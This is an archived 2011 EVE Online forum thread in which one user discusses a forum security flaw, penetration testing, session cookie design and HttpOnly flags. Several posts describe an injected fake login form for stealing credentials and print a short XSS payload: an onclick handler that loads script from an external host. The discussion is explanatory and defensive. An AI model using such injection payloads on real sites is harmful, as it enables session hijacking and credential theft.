EVE Search - New Dev Blog: New Forum Security Blog

Check My IP Information

All Channels

EVE Information Portal

New Dev Blog: New Forum Security Blog - Cookie Derp

» Click here to find additional results for this topic using Google

Monitor this thread via RSS [?]


Author	Thread Statistics \| Show CCP posts - 43 post(s)
Jimmae	Posted - 2011.04.12 06:41:00 - [1] Fun fact: EveGate was vulnerable to XSS too during closed beta. One should think the Web Devs had been made aware of possible security issues back then already. Next time have proper penetration testing done by outsiders! How can we hold you to your own standards if you aren't? Also: Educate your personnel! I am a Software Engineer myself and while I knew about SQL Injections and Path Traversal, I had no clue about MANY other things like XSS, XSRF or XEE. I accompanied a few penetration tests and they made me realize that most issues could be avoided during the development process already by sensitizing programmers BEFORE they get kicking.
Jimmae	Posted - 2011.04.12 06:53:00 - [2] Originally by: Othran I'd expect every company to pen test internet-facing assets prior to any deployment to a live environment. I'm just curious who, if anyone, was responsible for testing in this instance. I absolutely aggree with you. However, unless you have a dedicated in-house specialist you should have it done by professionals. There are many more attack vectors than just the OWASP top 10 and new ones constantly emerging. My company has been working with n.runs and they sure know their stuff. They found some reflective XSS which I would have found too. The main issue though we would have NEVER found during in-house testing and it could have lead to a compromise of our complete server infrastructure.
Jimmae	Posted - 2011.04.12 11:19:00 - [3] Edited by: Jimmae on 12/04/2011 11:23:55 Originally by: Kepakh Originally by: Kristina Vanszar A div with an iframe, which contains a fully functional login form, hosted from another website. Which is asking you to log in to the forums. there are plenty of users not thinking twice, who would just enter the credentials. No script, no data send anywhere...? We have a proverb where I come from: "If you don't have a clue just shut the f*ck up." You don't need Javascript to trigger an HTTP Post Request. All you need is a <form> tag. Besides that, not being able to inject a <script> tag doesn't mean I can not inject script through other ways. onclick for example can be an easy way, so can be a href.
Jimmae	Posted - 2011.04.12 11:52:00 - [4] Edited by: Jimmae on 12/04/2011 11:56:09 Originally by: Kepakh Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website See: iFrame The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums. Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that. Did you even read what he wrote? 1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT PS: Remember the proverb! PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onclick="(s=(d=document).createElement('script')).src='www.bit.ly/123';d.getElementsByTagName('body')[0].appendChild(s)"> Edit: Why do I always type onlick? Gotta be something Freudian.
Jimmae	Posted - 2011.04.12 12:01:00 - [5] Originally by: CCP Sreegs Originally by: Jimmae Edited by: Jimmae on 12/04/2011 11:56:09 Originally by: Kepakh Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website See: iFrame The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums. Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that. Did you even read what he wrote? 1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT PS: Remember the proverb! PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onclick="(s=(d=document).createElement('script')).src='www.bit.ly/123';d.getElementsByTagName('body')[0].appendChild(s)"> Edit: Why do I always type onlick? Gotta be something Freudian. This code was not possible either. I am glad to hear that! It is one of the most basic examples and doesn't even try masking itself.
Jimmae	Posted - 2011.04.12 12:11:00 - [6] Originally by: kakmonstret Edited by: kakmonstret on 12/04/2011 12:05:20 Originally by: Jimmae Originally by: Kepakh Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website See: iFrame The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums. Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that. Did you even read what he wrote? 1. I present you with an injected login form. 2. You fill out said form. 3. It sends your credentials to me. 4. ??? 5. PROFIT PS: Remember the proverb! PPS: A very simple example on how to include a .js file from an external source using an onclick handler: <div onlick="(s=(d=document).createElement("script")).src='www.bit.ly/123';d.getElementsByTagName('body')">[0].appendChild(s)"> Okay people have you ever done stuff like this? Regarding the above example a filter to filter out js will hopefully catch that. Now this being the CCP webdev clowns we can't be to sure. Regarding frames they can load any other content on the web. If CCP doesn't have some very interesting check on their server that loads the iframe target and checks for js there it would not be able to do anything. In any way there is no way CCP can filter content on a remote site loaded in a frame. Because that content is not loaded by their server, instead it is only loaded by your browser. If the server does a check for frames and check their target the only thing it can do is to remove the frame completely. That such a check exists I would say is very unlikely. Edit: And all nice theory was blow away by no frames allowed. Well well nice try. Script injection via HTML doesn't require frames at all and there are many ways to camouflage and obfuscate the necessart code. Some are browser specific, or even specific to a certain version. Some aren't. Writing a proper sanitation routine for this kind of stuff is VERY difficult. I was tasked with that once. Eventually I convinced my superior that it was futile and that we had to use a different approach.
Jimmae	Posted - 2011.04.12 14:14:00 - [7] Edited by: Jimmae on 12/04/2011 14:14:24 Originally by: Qordel Having the server verify it isn't enough, either. That would still be a sloppy solution. The real solution that they should have deployed (and which is pretty much Cookies/sessions-101) would be that the cookie should have contained NOTHING except a single salted hash key, so that even someone looking at the cookie would have no idea what data it contains. Not even the username or UID that it is regarding. Then it's dead simple to match that hash key against the database of non-expired sessions and get any data you could possibly require on the server side. I could see someone like myself who doesn't do webdev for a living making a mistake like that. Ignorance and all, you know (though almost any reference to how to handle sessions on the internet should explain it to a newbie). Professional web developers, however, should never ever make that mistake. That shoudn't be an after-release "oops". That should be a fundamental flaw that doesn't make it past the rough white-board sketch. Couldn't help but notice that the session cookie (on this forum, so probably not on the new on either) is not HTTP-ONLY. That is one very basic but also very effective measure against session highjacking.

COPYRIGHT NOTICE
EVE Online, the EVE logo, EVE and all associated logos and designs are the intellectual property of CCP hf. All artwork, screenshots, characters, vehicles, storylines, world facts or other recognizable features of the intellectual property relating to these trademarks are likewise the intellectual property of CCP hf. EVE Online and the EVE logo are the registered trademarks of CCP hf. All rights are reserved worldwide. All other trademarks are the property of their respective owners. CCP hf. has granted permission to EVE-Search.com to use EVE Online and all associated logos and designs for promotional and information purposes on its website but does not endorse, and is not in any way affiliated with, EVE-Search.com. CCP is in no way responsible for the content on or functioning of this website, nor can it be liable for any damage arising from the use of this website.